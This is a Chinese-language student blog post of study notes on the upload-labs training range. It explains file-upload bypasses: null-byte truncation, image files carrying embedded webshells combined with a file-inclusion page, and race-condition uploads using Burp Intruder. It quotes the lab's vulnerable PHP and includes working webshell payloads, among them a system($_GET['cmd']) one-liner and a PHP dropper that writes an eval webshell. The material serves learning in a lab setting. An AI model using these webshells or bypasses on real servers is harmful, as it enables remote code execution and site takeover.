暑假第二周练习(一)文件上传漏洞(二)

继续总结,烧脑!

目录:
0×01:白名单限制
0×02:内容限制
0×03:竞争条件

0×01 白名单限制

指名单内都是允许上传的格式。但是试验前,我们需要在php.ini里关闭magic_quotes_gpc函数。
常见的的截断:%00截断 和 0×00截断

在upload-labs的第12关里,
先看一下源码:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

在 :$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
img_path是拼接而成的,我们可以使用截断。
因为是GET方式所以我们用%00截断。因为get传参 的参数 会被 服务器进行URL解码,%00被URL解码之后就是ascii 0。
抓包。
在这里插入图片描述
在这里进行%00截断
在这里插入图片描述
上传成功。

而靶场的第13关,提交的方式为POST,post不会像get对%00进行自动解码,所以需要在16进制中进行修改00。
在然后在Hex中查看机器码
在这里插入图片描述
这样就截断成功了。

0×02 内容限制

在这里插入图片描述
查看源码:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

检测原理:通过检测文件的前两个字节判断文件类型,满足即可上传。
我们可以直接上传图片马。
图片吗制作方法:copy normal.jpg /b + shell.php /a webshell.jpg 或者 exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 1.jpg

用方法一制作,
在这里插入图片描述

在这里插入图片描述
查看图像给的路径却连不上去,

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

在include.php里,对我们传的文件进行PHP解析。所以我我们需要把路径改一下,
在这里插入图片描述

这个需要结合文件包含漏洞,连接成功。

0×03 竞争条件

文件上传过程

在这里插入图片描述
竞争条件原理
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
文件上传成功后和删除文件之间存在短的时间差。攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。并行服务器会并发执行多个线程,这就给了不法分子用条件竞争来绕过防护的机会。

攻击者先上传一个图片马shell.php,shell.php的内容是生成另一个图片马webshell.php。
shell.php的代码内容:

<?php
fputs(fopen('../webshell.php','w'),'<?php @eval($_POST['a']);?>');
?>

通过写的方式将<?php @eval($_POST['a']);?>写近webshell.php。这就利用时间差上传了webshell。

靶场第18关源码展示:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

我们先上传一个文件看其被存起来的路径。
现在我们只需要,上传1.php,用burpsuit 拦截数据包,然后将数据包放在burpsuit的爆破模块中。
然后访问http://localhost/upload-labs/upload/shell.php
同样,将请求拦截,放在burpsuit的爆破模块中。最后,在爆破模块中,让两者同时不断进行,等待那关键的一瞬间就可以了。
具体操作:
1.对两者都进行抓包,右键,send to intruder
2.首先 clear $ ,然后在payload中选择 Nullpayload,然后设置Generate 10000表示没有payload,上传一万次,然后在Option中,设置Number of thread线程数为200

武侠中高手对决,输赢只在一刹那。 在那短短的一刹那,假如你上传的文件,是个 大马套小马呢?大马虽死,但同源文件夹中,小马犹生。一个网站便在弹指一挥间被拿下了。

但是这个需要用到多线程burp suite专业版才会有多线程,我们还需要下载专业版。
肝了n个小时。。。还是没成功🤔🤔🤔🤔🤔🤔

仍需努力!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值